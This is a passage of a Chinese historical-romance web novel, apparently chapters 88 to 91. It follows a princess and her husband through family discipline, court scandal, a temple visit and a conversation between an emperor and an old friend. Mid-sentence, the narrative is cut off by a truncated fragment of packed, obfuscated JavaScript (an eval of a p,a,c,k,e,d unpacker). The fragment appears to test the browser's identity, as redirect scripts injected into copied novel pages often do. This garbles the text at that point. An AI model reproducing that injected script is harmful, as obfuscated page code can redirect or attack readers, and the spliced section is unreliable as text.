“里面是什么香?”沈明戒趁机将荷包打开,伸手探入却只夹出了几瓣干枯的花,但随之袭来的香充斥了整个车厢。 沈明枳眸光微暗,将他还残留一道浅浅疤痕的掌心中的密制过的梅花瓣重新塞回荷包,“梅花。” 沈明戒心下一怔,摊在她膝头的手轻轻蜷曲,然后不着痕迹地握着这一脉幽远缩回手,只觉得掌心被触碰到的地方、呈过花瓣的地方都如同火燎了一般痛热。他再度叉开话题道:“阿姐知道鲁纯学吗?” 沈明枳不消回忆,脑中就浮现出前羽林卫指挥使鲁向笛的脸和他那传说中弱不禁风的独子的脸。凌云重救下鲁纯学,并以此劝鲁向笛退兵,在圣上面前为鲁纯学请了一条活路,让鲁向笛心甘情愿的自刎谢罪。新任羽林卫指挥使风光上任,倒没人留意苟活下来的鲁纯学的生存近况,沈明枳于是问道:“他怎么样了?” “他不能科举了,他也不喜欢这个,就跟着韦将军去西南了,打算游历、行商,过快活日子。” 沈明枳注意到话中玄机,问道:“他哪来的钱?” 鲁家被抄没,全家上下只一个肩不能扛、手不能提、一穷二白、无依无靠的弱小子活了下来,他哪里来的资本支撑他游历山河、行商坐贾? 沈明戒坦白道:“我和辛喾他们资助了点,韦将军帮衬了点。”他知道阿姐接下来可能会说些什么,毕竟是逆王余党的遗孤,往从过密会落人口舌,将来难保不会被有心人拿来大做文章。于是他继续道:“那天晚上,离羽林卫的刀最近的其实就是我了,但他父亲刻意放了我——” 沈明戒小心地观察沈明枳的神色,见无有异常,但还是将喉咙口的那些“报恩”之类的字眼都咽下去,改为:“其实我也是借了辛喾的名义,旁人查不出什么端倪。” 沈明枳轻轻叹息:“知恩图报是好的。” 沈明戒将心放下,继续说:“刚开始他们都在我和九哥身边玩,后来七哥家的沈研饿了,就到了七嫂身边,五哥家的沈磻也去了,他们坐得偏,羽林卫一闯进去就盯上了他们,鲁向笛应该想放过七嫂的,但七嫂要护两个孩子……” 沈明枳眉头一蹙。鲁纯学是吴王的母妃家的亲戚余回春医好的,鲁向笛手下留情情有可原。鲁向笛认识吴王妃,但他怎么分得清差不多大男孩谁是谁的儿子。出于母爱,吴王妃保下自己的沈研,同时还想护下赵王世子沈磻,死亡怎容得她这么贪心,最后一个也没活下来。 沈明枳拧眉将心底的不安镇压下去,自言道:“鲁纯学跟韦不决去西南是个好决定。”即便韦家没落,作为封疆一方的南越将军韦不决还立于朝野,他重义,他有兵,能看护鲁纯学免遭复仇毒手。 末了,马车拐入公主府前的长巷,沈明戒自请告辞,临走被沈明枳嘱咐了带上他猎了的东西入宫请罪。他一跳下车辀,就见另有两骑悠悠闲闲地走了过来。 郇寰从宫里回来的路上就听见郇杭说都察院的介御史一转脸就叫手下人明日就弹劾秦王、晋王孝期游猎,半分情面也不留,笑着摇摇头,等路过公主府正门,就见晋王沈明戒从车上跳下来,眉头一沉。 他本来是打算借着向沈明枳告秦王推晋王挡刀子之状扯起话头,顺带讲讲士子闹事一案,顺水推舟地督促起郇七郎、郇八娘,再自然而然地……结果被晋王捷足先登! 一番勉强的寒暄,可算送走了晋王,郇寰照常沐浴更衣,然后去郇七郎的书房处坐了一会儿,又去听郇八娘弹了几首新学的曲子,和教郇八娘弹琴的先生聊了几句,便克制着越迈越开、越迈越快的脚步往沈明枳屋里去。 沈明枳换过了衣裳,坐在廊下几盆开得正盛的菊花旁,听冬儿和夏至你一言我一句的说着化隆城里的新鲜见闻,等晚膳到点。见郇寰来了,这对姐妹便笑着退下,转过一根廊柱,冬儿就旋着裙子逃了夏至的掌控,拈了帕子扑蝴蝶,还一面叫站在不远处和小厮闲话的冬至给她拿网。 郇寰忽然想起自己曾撞破过他们私会,他们倒越发大方坦诚不避讳,看得他反倒不好意思。他比着廊柱负手立着,遮了沈明枳正赏着的黄花,垂下眼看向沈明枳试探着笑道:“不如我们就成全这对冤家变鸳鸯吧。” 出于功利,沈明枳不希望冬儿和冬至成一对,但瞧着他们互相是真心喜欢,棒打鸳鸯于心不忍,她便顺着郇寰的意思应和:“也成,只不过得再等等。” 郇寰又觉出几分柳氏之死的坏处,但这并不妨碍他的兴致,“那想个什么由头呢?” 一个促狭的念头冒了出来,沈明枳笑道:“捉奸。” 郇寰:“……” 沈明枳继续道:“什么时候被发现,什么时候就成全他们。” 郇寰替他们捏汗。发现沈明枳左眼睑沾着一根脱落的睫毛,于是上手碰住她的脸颊,迎着惊异的目光,再用手指轻轻皴去,还将那睫毛置于掌心,证明这番不是轻薄。 沈明枳一时间不知该说什么。 郇寰捧着她脸颊的手却没有放下。 沈明枳自己抬手压住他的手腕,将这只好似被主人遗忘了的手拉下。但郇寰并没有就此抽回手,至于他本打算做什么已经不得而知,因为刚要欢欢喜喜地禀一声“可以用饭了”的月珰和几个小丫头嬉笑着在廊下出声。 两个人都收敛了目光,一前一后地走了过来。 郇七郎和郇八娘已经坐在了桌旁,互相冷眼瞪着对方,见了长兄长嫂还都是冷漠淡淡,被心头不爽的郇寰说了一句“乌眼鸡似的”,七郎还好,八娘已经端不住,直接撇嘴抿嘴,只数着碗里的米粒,眼神又烧又灼,仿佛能让白米饭腾起三尺火来。 郇寰和沈明枳自动忽略这对时常闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寻常人家男主外女主内,正妻原配管家。他们就有点特殊。兖国公主府和郇府自然都由沈明枳管,但襄阳侯府,从始至终都只在郇寰的掌控之下,其中原因很多,最主要的是侯府难缠。但从沈明枳的角度看,未必不是一种不信任。郇寰也这样想过,但他宁愿冒着夫妻生嫌的风险,也不愿让沈明枳趟这浑水。族中其他老、中、小女人看着都羡慕,觉得郇寰把里里外外都收拾好不用公主费心,简直就是公主撞大运,舒舒服服过日子就行,至于舒不舒服,本人才知。 沈明枳从心里不舒坦转为身心皆舒坦,现在,竟然感觉有些不舒服。她对自己的状态十分不满。 “听说过彭雪萼?” 郇寰摇头,但隐约猜到这个人应该与随何氏一同入京的彭氏有关。 “彭氏长房次子,长八娘两岁,上次回侯府路上遇见的。” 郇寰登时明白过来。这次兄妹大战竟然和少女怀春有关。也难怪两位嬷嬷不知道,郇八娘不好意思找人吐露心事,不敢向沈明枳打听彭雪萼,只能旁敲侧击地问七郎,希望七郎可以通过他的朋友探得彭雪萼的些许音信。 郇七郎敏感,一下子就戳中了八娘的心坎,虽然他觉得不妥,不敢告诉兄嫂,自己也费了心力帮妹妹打听,表面上还要装作没有发现、懵懵懂懂的样子,结果发现彭雪萼这厮前日在某某勾栏为某某娘子一掷千金,又顺势挖出他在剑南时眠花宿柳等等烂账,怒火中烧,委婉劝解郇八娘无果,兄妹俩大打出手。 自然而然地闹到了沈明枳跟前。两人都苦求沈明枳不要告诉郇寰,沈明枳理他们就怪了。 郇寰朗声笑了:“真当带他们出去见见世面了。” 他又觉出柳氏之死的坏处来。他一直觉得七郎、八娘还小,这么一看,再过两年八娘就要及笄,离出阁的日子也不远。他不由自主开始想,沈明枳这么大的时候,有没有偷偷为哪家年轻公子动过心,只恨自己当年荒唐任性入不了她的眼睛云云。随后,他再度想到宁晨铎和那句“吾欲与若复牵黄犬俱出上蔡东门逐狡兔”,心里又下起雨。 “案子如何?”沈明枳问了一声久久没有回音,侧过脸发现郇寰正盯着自己出神,心里怪怪的,又问一声他方才垂下眼掩饰自己的走神并道:“事不复杂,人复杂。” 沈明枳很认可。 郇寰与她并肩而行,“普通的一个贿赂考官案,只不过那家人倒霉,遇上了何家人。” 89. 第八十九章 少女事 简言之,就是多年前父辈得罪过何家人,多年后,儿孙通过“贱卖”良田贿赂礼部下派的主考官过了乡试,在酒楼大摆宴席胡言乱语,叫与之不对付的一个年轻落榜士子听了捅到衙门里传到何家人耳朵中。结果那家人疏通了衙门关节,子侄又对那年轻人威逼利诱一番,竟激得那年轻人想不开上吊自杀,于是案子就从扶风郡捅到了京兆尹。又恰巧千秋节在即,京兆府的头头葛宏才入京给圣上唱寿,这件事情就暂时被收了钱财的底下人接过按了下去。再加上点何家刻意的煽风点火,本就郁郁愤愤的年轻人一下子蹿了起来,这就有了堵宫门冲法司的事情。 其实事情到这也就可以了,但何家人意犹未尽,还将陈芝麻烂谷子的事情翻了出来,譬如那家人祖辈曾贪污过赈灾款,父辈曾官场勾结买凶杀人,子辈曾肇事欺人为非作歹,一沓厚厚的罪状全被人检举告发,导致这场科举舞弊案演化成肃清吏治案、沉冤平反案等等。一众家破人亡,一族妻离子散,一群衙司脚不点地。郇寰说他们倒霉,也算说三法司倒霉。 “你们怎么知道与何家有关?” 郇寰笑道:“何家也有吃醉了酒嘴巴管不住的人。” 沈明枳挑眉:“你与何家的年轻人吃过酒?还是你让人盯过他们?” 郇寰从她的话里品出了几分令人满意的意思,笑着解释:“当然没有,但申不极有。” 沈明枳没有说话,心里只开始想何施臣的两次挑拨,不注意郇寰将她开始往卧房引,忽然一声拖沓清脆的巨响从身后传来,两个人都是一惊,对视一眼后旋即转身就往回走。 见收拾碗筷的婢女跪在角落地,边上红着脸梗着脖子的兄妹俩正气鼓鼓地对峙,郇寰眼疾手快将踩着一地碎瓷片冲进去的沈明枳拉了回来,对自知大祸临头顾不得生气唯有惊恐的兄妹俩阴沉地和道:“都给我到小书房去!” 小书房就是郇七郎读书用功的地方。郇寰听了沈明枳的话本不打算追究郇八娘这番柔情错付引发的兄妹大战,结果他们两个太不中用,自己上赶着求罚。 上一个因为儿女情长惹祸的郇三娘还在襄阳侯府关禁闭。 郇八娘战战兢兢。 郇寰实在没有经验,又不好拿出平日里斥下属的态度,想向沈明枳求助,思及晋王上进要强,想来沈明枳也没有经验,心里不由得烦上几分,但气已经生了出去,高高举起轻轻放下又算什么事。 他冲跪在郇八娘身边的七郎斥道:“你还打算替她瞒多久?嗯?知道自己做错什么了吗?” 七郎应声,头垂得更低,让郇寰更加于心不忍。这件事问题主要出在脑子转不过弯的郇八娘,与七郎着实无关,他最大的罪过就是心软,为妹妹瞒天过海,纵得妹妹无法无天撒泼打滚。纵然他会劝着、护着、防着,以免八娘做出什么出格的丑事来,但今天碎个碗,明日砸个瓶,一家子和和气气的日子到了头,家不和万事不兴,他性子又软,郇寰很是担心以后他长大了如何独当一面擎起郇氏的一片天。 更重要的是,七郎太听话太懂事,他训他于心不忍。 郇寰叹气。 三言两语打发了郇七郎,对着跪在地上抽抽搭搭的郇八娘他一个脑袋两个大。终于在让郇八娘心底打鼓惴惴不安的沉默后忍不住向沈明枳打了眼色。 沈明枳挑眉。 他不是很有主意很有威严的么? 郇寰再朝她眨眨眼,随后整肃面容,利落地起身一甩袖子推门而出,留下跪着的八娘惶恐地瘫坐了下来,一旁立着的七郎身形不稳,兄妹俩都焦急畏惧地望向端坐上首从容淡定的沈明枳。 他们都没瞧见,沈明枳端茶的手,轻轻抖了抖。 “七郎。” 郇七郎立马跪下拜礼。 沈明枳清清嗓子:“你做得很对,只是不够妥帖,你兄长并不是怪你,”说着,她起身走下来,蹲身扶住他的臂膀拉他起身,温柔道:“你做的很好,去读书吧,别太晚了,早些休息。” 郇七郎紧咬着牙,红着脖子应了声,不敢抬头看沈明枳,怕自己发涩的眼睛露出端倪。 沈明枳心里叹息,不禁又想起了沈明戒来,转而又蹲下身扶起了如同失了骨头、剪了爪牙的小兽的郇八娘,“随我来。” 有婢女提灯照路,但她们都离得远,防止打扰这对姑嫂交心。 根本谈不上交心,这厢沈明枳还没起完兴,那边郇八娘已经梨花带雨地哭得可怜,自责自鞭恨不得立即投河,让沈明枳抽出帕子糊她脸上,暗暗攥紧了袖子。 八娘也懂事。 沈明枳咬牙。 她最见不得眼泪,见了眼泪什么盘算什么计划都泡汤了。 过了很久,等月下花影在阶上变换了一百零八个模样,天上的月眼与纤云捉了一百零八次迷藏,八娘的一双杏子眼再也哭不出第一百零八滴眼泪,沈明枳逮着机会顺势宽慰道:“人少则慕父母,知好色则慕少艾。谁年轻的时候没有偷偷喜欢过几个俊俏儿郎?放宽心……” 八娘用沈明枳的帕子半捂着眼睛,两只水洗过的葡萄似乌溜溜的眼珠登时凝在沈明枳身上,“嫂嫂也有过吗?” 沈明枳一窒。 这丫头怎么把握不住重点? 她笑得有些僵:“你嫂嫂我是没有的。” 郇八娘很丧气,小声嘀咕:“他们说大哥哥和嫂嫂就是……” 沈明枳装作没有听见。虽然从外人看来,她和郇寰演得是有点两情相悦急不可耐的意思。不过这小丫头貌似很想自己现身说法? 沈明枳咬咬牙,将圈子兜回正路上:“之所以没有——” 郇八娘好奇地看过来。 沈明枳微笑:“是因为,得见云中白鹤而可屈就网中燕雀乎?当年我还宫中时,闺中就流传过‘寻花问柳’‘露宿桥头’这样八个字——” 八娘欢笑:“我听过我听过!大哥哥就是首屈一指的‘寻’可对!” 她开始掰指头数道:“‘花’和‘问’都曾是朝中有名的华、文二位才子,‘柳’是当今左都御史,‘露’是靖节陆都督,‘宿’是东都兵马苏指挥使,‘桥’是现今兵部乔侍郎,‘头’是靖臣窦将军。他们都曾是一等一宜嫁宜赏宜瞻仰的好儿郎。” 沈明枳笑:“你倒记得比我清。” 八娘挽起她的胳膊,还带着哭腔:“嫂嫂都有我大哥哥了,旁的人不记也罢。” “你知道他们名讳,但未必见过他们真人——” 八娘的眼睛再亮了亮,在黑夜中璨若流星,“嫂嫂不会要让我见见他们吧!” 沈明枳扯了下嘴角:“你既见过你大哥哥了,旁的人不见也罢。” 八娘鼓起腮帮以示不满。 “他们都是一把年纪的人了有什么好见的,等明年春闱过了,年轻的士子都有了前程,再见见年轻儿郎也不迟。”话落,沈明枳直视前方不去看八娘那玉琢的脸蛋上可疑的绯红,在黑夜中也看不清,但她一下又一下逐渐清晰的心跳,却连着相触的手透过布料穿了过来,带动着沈明枳那颗懒惯了的春心也跃动起来。但只是肆意放纵的一刹那,那无处不在窥伺着的分寸就将这样出格的举动逼了回去。 “不过——” 八娘的好梦都被她这悠悠的一句打断,警惕地用酸涩的眼睛注意沈明枳的举动。 “不过你才十三,离谈婚论嫁还早,现在就带你相看,于理不合——” 沈明枳促狭的心思再起,只能可怜八娘一颗心七上八下,“但等出了孝再相看,匆匆忙忙——” 还得担心你又被哪个混小子勾去了魂。 沈明枳轻轻一笑,刹住话。眼前黑夜中八娘住的院落已经显露出了一角,两个小丫头提灯等在廊下,焦急色不比方才的郇八娘少多少。她们见人来,急急上来行礼。 “不过你做错了事,明日来领罚吧。” 郇八娘不可置信,方才还那般和蔼可亲的人一转眼就冷冰冰留下这样一句话甩手走了! “辛苦你了。” 一关上门,郇寰便贴了过来,温热的呼吸喷撒在发间,伴 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郇寰笑:“她倒自觉,那饶她一回,”沈明枳自镜中看他思考的模样很慈悲,可四目交汇心神互通过后,沈明枳开始怜悯起要被假菩萨捉弄的郇八娘,听他继续道:“那就在四书五经里抽一本,碎了几个碗碟就抄几遍,殿下觉得如何?” 沈明枳:“……” 郇八娘欲哭无泪,求天求地求菩萨地抖抖索索抽中了字数最少的《孝经》,然后欢天喜地地就差敲锣打鼓地普天同庆,然后见郇寰一挑眉,七郎一扶额,沈明枳低下头喝茶,侍立一旁的丫鬟婆子都忍着憋笑,立刻锁了嘴巴麻溜地逃回房去抄书了。 其实让她抽的纸条下,每张写的都是《孝经》。 郇寰挤了人群去看那壁画,吴道子真迹早就毁在连年战乱兵祸,他也只在书上读过,观者腋汗毛耸,不寒而栗,他亲自看这赝品,笔力定然比不过真迹,但那一脉相承的森寒意味,他是切切实实体会到了。 旁人见活阎罗赏阎罗事,倍感新奇,不乏有与郇寰相熟的上来攀谈玩笑,郇寰皆一一回应,平易可亲。虽然他行的是骇人听闻事,但他还是和蔼可亲人。 “老先生,这边请。”一僧人,须发皆白,面容慈悲,佝偻着背引着一上了年纪的老头从西边回廊慢慢走来,围观者见了纷纷朝那僧人施礼让行。 那老头看着年岁不大,腰背挺直,步伐矫健,谈笑间有风行草偃、从化无违之气,但与和蔼决计沾不上边。眉间川字是刀刻斧凿,紧抿下垂的嘴角是垂着秤砣,灰蒙蒙的头发梳得一丝不乱,一身灰布衣一丝不苟,行的是尺步,走的是墨跬,一举一动,落在郇寰眼中,都似在写一个大大刺眼的词——典范。 这是郇寰自小就厌恶的字眼,但这字眼由这老头写就,他只生敬畏,自然而然地想起“君子至德,默然而谕,未施而亲,不怒而威”,是乃写照。 朝堂不曾有过这样的人物,但却给人一种熟悉之感。 郇寰盯那老头太久,那老头抬眼朝他望了过来,目光相触,冰火相攻,互相颔首一礼。 平日里凑在申不极身边一同吃酒的高鹳骨捅了捅身边的美人痣,“这老头是谁?我怎么从没见过?” 美人痣摇摇头:“不知道,从一法师邀请来的贵客,想来是个人物。” 高鹳骨恭敬问郇寰:“郇侯认得吗?” 郇寰道:“不认识。” 话落,郇寰拨开人群,辨别了方向,往后园寻沈明枳。 他本是想拉沈明枳一起看看这《地狱变相图》的,奈何沈明枳兴致缺缺,死活不肯,捐了一大笔香油钱后就到后园躲清闲了。但这后园也不清闲,郇寰还没入门,眼前就见花色交相辉映,莺啼此起彼伏,胭脂水粉的香气呛得他打喷嚏,由冬至护着从墙根一路摸了进去,煞是狼狈。 忽而前方岔道口,自右手边的镂花拱门跑出一堆粉红的霞云,冬至一直关注着左边,不曾想让郇寰直直撞了上去。 90. 第九十章 地狱变 那女子哎呦一声惊叫,俶尔抬起脸又惊又怒地望向郇寰,见得此人相貌堂堂,以为是哪家的公子王孙,一张瓷白小脸登时染上了衣裳上的绯红色彩,怯生害羞地后蹿了一步,低下头细声细气地致歉。 郇寰也被吓了一大跳,在一帮丫鬟婆子上前围住那女子时,匆匆道了歉,抬脚夺路而走。 那女子猛地抬头几步要追上去,却被丫鬟婆子挡了道,气鼓鼓失落落地摔了袖子,忽而感觉左手手腕空空如也,一看发现本应戴在雪藕似的腕子上的一串连理伏羲木珠不翼而飞! “我的珠子呢!” 一众丫鬟婆子立即弯下身四处寻找。她们自然不会怀疑方才那个英姿勃发、撩拨春心的男子会是个小偷。 但事实上,郇寰是某个意义上的小偷。 “你怎么这么快就来了?那画不好看吗?”沈明枳刚打发完路过的窦晴柔、长英公主,心中还叹着长英与宣国的儿子齐骞真是金童玉女,好不容易能一个人清净地呆会儿,就见郇寰挑起帘子也走了进来,坐在她一旁,端起小桌上的唯一的半盏茶就灌了下去。 郇寰抬眼对上沈明枳欲言又止的目光,放下茶盏笑道:“好看,但一个人看没意思。” 沈明枳不答,唤来月珰问现在是什么时辰,斋饭什么时候能吃,惹来郇寰一阵笑:“也罢也罢,呆在这儿也没意思,用完饭就回去。” 正当他起身要随沈明枳一道移步别处用饭时,被沈明枳拦了拦,随她的目光一同落在挂在他腰带蹀躞上的黑中泛红的小珠串。 沈明枳挑眉。 出来的时候不见他挂过这样的小玩意。 郇寰一愣,用手勾下那珠串,有些茫然地拎着看了又看,顶着沈明枳探究的目光,无言以对。他忽然想起和他撞了的那个女子,东西莫约是她的,但他连那女子长什么样都没看清,叫他如何去还。 “这东西,应该是刚才与别人撞了,不小心勾来的。” 沈明枳轻轻笑了,“交给寺院吧,防止主人家着急找不到——” 郇寰刚要说“好”,就听沈明枳忽然没了声音,又从他手上捻起那珠串凑近了细看,一张脸微微失了血色,强勾起的笑多出几分勉强,声音也有些变了调:“这花纹——倒新奇。” 郇寰也凑上来看,果然那一颗颗比正常佛珠还小的珠子上一丝一丝血般的红色缠绕在纯粹的黑中,正中央还用刀细细刻出莲花的纹样,但这莲花纹和常见的样式不同,少了旃檀无尘的出世感,多了异域别样风情味。 沈明枳整理神色,“先去用饭吧。” 郇寰收了珠串,率先为她打了帘子出去,没走几步,就听见不远处扎堆的喧哗声,悄悄握上沈明枳的手腕将人拉得近些,然后再小心地往寮房走。 慈悲寺虽比不上化隆城外的双塔寺,但有前朝的皇室背景和优越的地理位置,香火也甚是鼎盛,今日吴大家的《地狱变》揭幕,赚足了眼球,名流各界都来捧场。人多是非也多,郇寰和沈明枳都不是好凑这种热闹的人,远远地避了。 但一顿饭还没吃完,冬至便从门外入禀道:“主子,殿下,何家公子在外求见。” 郇寰和沈明枳对视一眼,都放下筷子,郇寰出声:“请。” 何施臣和两个一样高的年轻人走了进来,屋内的光亮瞬时被挡去一半,“见过郇世叔、公主婶婶。” 沈明枳一窒,郇寰倒从容:“不须多礼。” 何施臣笑着介绍他的弟弟们,何施德与何施南。因为上回郇寰登门拜访时就已经见过,故而这次何施臣完完全全正对着沈明枳笑、说,郇寰都未曾觉出他目光里的不妥,只想着如何快快把他们打发走,免得浪费他苦心争来的好时候。 沈明枳也不欲与之多言,只是听见何施臣提到一句:“方才在院子里看见柳总宪……” 沈明枳警觉地看了过来,郇寰已经开口确认事情的真假。 “这还会有假,那神仙般的人,怎么会看错。”何施臣笑道。本来他还想加一句“化隆都找不出第二个的仙人”,想着当面这么露骨地挑衅郇海山怕是不妥。 沈明枳没有心思与他们客套,饭也不必吃了,委婉地送客后装作被坏了兴致要打道回府,冷冷扫了郇寰一眼。郇寰也吃不下饭,心里惦记着柳曦既这个点来慈悲寺莫不是宫里出了什么事情,于是两人一拍即合,出了寮房。 大楚官员中午离开衙司用饭很正常,但放在柳曦既身上就很不正常。郇寰和沈明枳从未听过柳曦既信佛或者喜画之类的癖好,慈悲寺的素斋也平平无奇,能劳动他左都御史亲自跑一趟,必然是出了事。 平日里他郇海山要见柳曦既何其容易,敞开了刑部的大门朝对面都察院喊上一声就成了,这回,他终于体会到了一种别样的艰辛,一种化隆女子思慕情郎、苦苦思恋相见不得的艰辛。 要混在这一群花花绿绿的女人之间,郇寰真是死了的心都有了。 沈明枳气极反笑,拉了他绕到边上,指使郇杭护着月珰去探探消息。正巧有一个年轻的僧人引了住持走来,那住持一眼就认出了郇寰,腿肚子一颤,下意识地警觉起来,又瞧见郇寰身边站着一位女子,很亲近的样子,猜测应该就是他那位公主媳妇,于是颤巍巍上前施礼。 见了熟人郇寰笑着回礼,顺便将那珠串托付了出去,又打探起了前方发生何事。 住持抖着手迟疑地接过珠串,粗粗说了事情的始末,又云山雾罩地说了一大通劝诫的废话,然后在郇寰笑眯眯地逐他走前,自己遁逃了。 “原来是柳大人的父亲瞒着儿子上京来了。”郇寰现在才明白从那老头身上觉出的熟悉来自哪里了,原来竟是柳曦既的父亲柳济道。 柳济道在沈明枳这可谓如雷贯耳。还记得柳曦既刚当上左都御史的那一年,柳济道也曾瞒着儿子悄悄上京前来探望。那时柳曦既正连轴通宵在都察院里忙,被家里仆人通知后,就请了半天假回家侍奉父亲,结果被罚跪了两个时辰,闻者震惊。 沈明枳问:“你与住持相熟?” 郇寰朗朗笑了,有些不好意思地道:“我年少无知时在这佛家清净地犯过荒唐事,故而和这里的老和尚们都混了个脸熟。” 恐怕不只是脸熟这么简单,那住持分明是又惊又恐。 沈明枳顺势问道:“什么荒唐事?” 郇寰就等着她问:“我和申不极没混熟前在这里打过一架。” 沈明枳挑眉。 瞧他装出的这自豪的模样,仿佛除了在这里偷人私通之外做什么乱七八糟的事都无比光荣。 “也难怪你少来慈悲寺。” 郇寰笑笑:“这倒不是全部原因。” 沈明枳看过来。 他敛了眉宇,“母亲生前常来这里。” 氛围忽然间沉重起来,那中天的日头被半边闲散的云遮去了一半光辉,半阴半晴,半凉半温。沈明枳收了笑,静静看着他,脑中划过“哀而不伤”四个字,但仅仅就是一个“哀”,就足以让这剩下的光亮蒙灰。 “今天是她的忌日。”郇寰抬起眼对上她的视线,那眼神中分明有笑,但却不觉欢乐。 郇寰很少主动向她提起萧夫人,即使是新婚燕尔,他们曾特意去过一趟萧氏在兰陵的老宅,他也未曾多说过萧夫人生前的任何事。 “不提了。”郇寰笑着摆摆手,拢袖歪首望向虚空某处,似得见少小时欢乐事。 沈明枳痉挛似地张了张手,攥了空气在掌心又颤着缩成拳。“迎春楼来了个新厨子,会做些南诏番邦的菜式,不妨去尝尝吧。” 郇寰笑着歪向她,背着外人本想偷偷刮刮她鼻子,被她一个警告的眼色逼得半途易辙,改为替她别了碎发:“你什么时候也爱贪嘴?这才刚吃过午饭,就想着晚饭吃什么了?” 沈明枳袖手扫过游人,用饮了冰的口气随意道:“那便去曲江再逛一圈。” 郇寰爱煞她这番模样,心里擂鼓宣天不比抽了《孝经》的郇八娘排头小,但他还得装得喜怒不形于色,同沈明枳一样端着架子礼尚往来一番,但语气里已经藏不住那种欢喜:“那敢情好,顺道去消消食,但现在可不是游曲江的好时候。” 沈明枳瞥他 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茶室里空无一人,柳济道将支开的窗户关上,这才在窗前坐了下来。坐下的一瞬间,他恍惚想到,那年对坐论道,他坐在这里,他的君王坐在他的对面,两张蒲团的距离都是记忆里的十四寸,是为他的七寸,他的七寸。 廊叶秋声,残霸宫城。他原以为平地之上、多年以前,这风就已经刺骨得可怕,今夜窗外狂风呼啸,柳济道听那风声,这才回忆起原来深墙之内的风远比其他地方更加肆虐。 圣上已经盘坐下来,静静看着他像从前那样跽坐,然后一掌拍在他的肩膀,亲热地叙说起离别的渴念和羁旅的孤独。分明一切都是曾经的模样,他们的衣摆都是相沾相连的,可柳济道蓦然发现,很多东西都变了。 “初服。” “臣在。” “我们几十年没见了?” “二十二年。” “唔,居然这么久了。”圣上望着大敞的门外,分明入了春,眼前还是记忆里的枯叶飞尘、飒飒零落。他又端详柳济道,老了不少,但精神头还不错,他笑:“上回你来京,我可听说了,你瞒着你儿子,害他请了半日假回去侍亲,结果被你罚跪一整个时辰。柳初服,你可知错?” “臣何错之有?” “曦既是孤的肱股之臣,你害他平白吃了一顿苦头,身子垮了,谁来替孤统领察院、监察百官?” 柳济道硬邦邦地噎他:“他年轻,身子跪不垮,若一、两个时辰就把他跪垮了,这总宪的重任恐怕也担不了,殿下还是早些选贤举能,别耽误了家国大事。” 圣上被气笑了:“你这人,还是老顽固一个,曦既小时候就没少吃你的苦,长大了还要折腾他,算了,不与你瞎争辩了——你这次来京,是为了他的婚事吧。” “是,他年纪不小了。” 圣上扭头看他,“我曾想让他尚主,就是兖国,不对,是长平,她出生时你见过的,从小跟着明载,和明载的性子很像。” 既然说出了兖国公主,柳济道就知道了结局,很平淡地回应:“这是他的福分。” 圣上朗朗笑道:“曦既这孩子像你,又不像你,这就显出你们父子的不同了。他即便不喜欢,也不会拒绝,而你,一旦认定什么,九头牛都拉不回来,也丝毫不留情面不留后路,一个劲地莽。你比他直愣得多。” “他比我好。” 圣上转了回去,也随柳济道一同看向门外,“这是自然,一代当然要胜过一代。对了,你方才弹的什么曲子?听着像《平沙落雁》又不像。” “瞎弹的。” “这是有感而发?” 柳济道想了想,“是吧,又或许只是因为我忘记《平沙落雁》怎么弹了。” 圣上哈哈一笑:“你怎么会忘记?你是把琴看得比命还重的人,这些曲子你怎么会忘。” “这倒没有,可能是这些年不常弹吧。” “那你弹些什么?” “《落英坠露》。” 圣上脸色微沉,“柳初服,你在故意气我。” 91. 第九十一章 柳济道 柳济道不说话。 “你明知道我不喜欢这些,也就你,还有阎野放敢来找我的不痛快。” “他不敢。” “但你敢。” “陛下不喜欢的东西多了去。” 圣上霎时沉默,出神好久才怅然道:“可我已经是天子了。” “但你依然没有办法。” 他鲜见地颓然:“柳初服,你总是爱说真话。” 柳济道也有些颓然:“只有你愿意听。” 圣上望着他,“那你说句真话,告诉我,他们为什么一个个都要走?” “这不是走,是逃。” 宛若心上又被插了一刀,圣上阖眼不敢看柳济道的眼睛,“你说,这是为什么?” “人心易变。” 圣上惨怆而笑:“因为我变了吗?好像当了天子,真的越发多疑,儿子、妻子、臣子,好像每个人都包藏祸心,但怎么办?你不在,他们都要逃,我只有一个人,我已经极力克制这种怀疑了,我也不曾威胁过他们的安全。” 他探身质问柳济道:“我变了吗?我真的变了吗?当年弱冠,我们对着南海盟誓,只为此志、此生不渝,你、郭明修、梅痴绝、阎野放,你们每个人都信誓旦旦!梅痴绝是做到了,郭明修还在朝野,阎野放却逃了,而你,身落江湖二十余年!若非我给你写信,你连去年宫变、魏王谋反都不知道!” 柳济道眉峰聚拢,兀自摇头。 “你摇什么头?芝兰生于深林,不以无人而不芳,君子修道立德,不谓穷困而改节!这是你常说的,你都忘了吗?” “没忘。” “柳济道,说真话。” “我没忘。” “说真话!” “我没忘!” 圣上有些乏力地坐回去,“现在的你和忘了有什么区别?” 他仰头叹息:“阎野放,一个眼里只有家国天下的人变成了个‘琴痴’,一个‘情痴’,推推搡搡南巡,只为了和他的夫人告老还乡。郭明修心思重,怕我猜忌他,怕他们家成为众矢之的,交了兵权,捞了个工部尚书就想要养老。他们早就忘得干净了!只有梅痴绝,只可惜他年寿不永,好在他儿子像他,特别像他,我总算看见了一点希望。” “至于你柳初服,我记得曦既十一岁时你就把他送到了化隆,从此以后,他都是卜栾枝和霍伊兰带大的。这一对阎王走的路子,比我们刚开始还激进,和你蛮像的,没想到他们两个带出来的孩子,却不偏不倚要走‘正道’——柳初服,你有后悔过吗?没有亲自养他。” “我从不后悔。” 圣上苦笑:“我总以为你作为父亲,还是心疼他的,自己吃过的苦,便不希望自己的儿女再吃一次。” “有些苦,是不得不吃的。” “荒唐的言论。” “可陛下,你不也是这么想、这么做的?” 想到了故太子沈明载,圣上沉默下去。 柳济道却摇头:“你觉得自己只有一个妻子,只有一双儿女;先帝也是这么认为的,除了郅后,无人堪配他的妻子,除了懿孝太子,无人堪配他的儿子。” “你在咒我。” 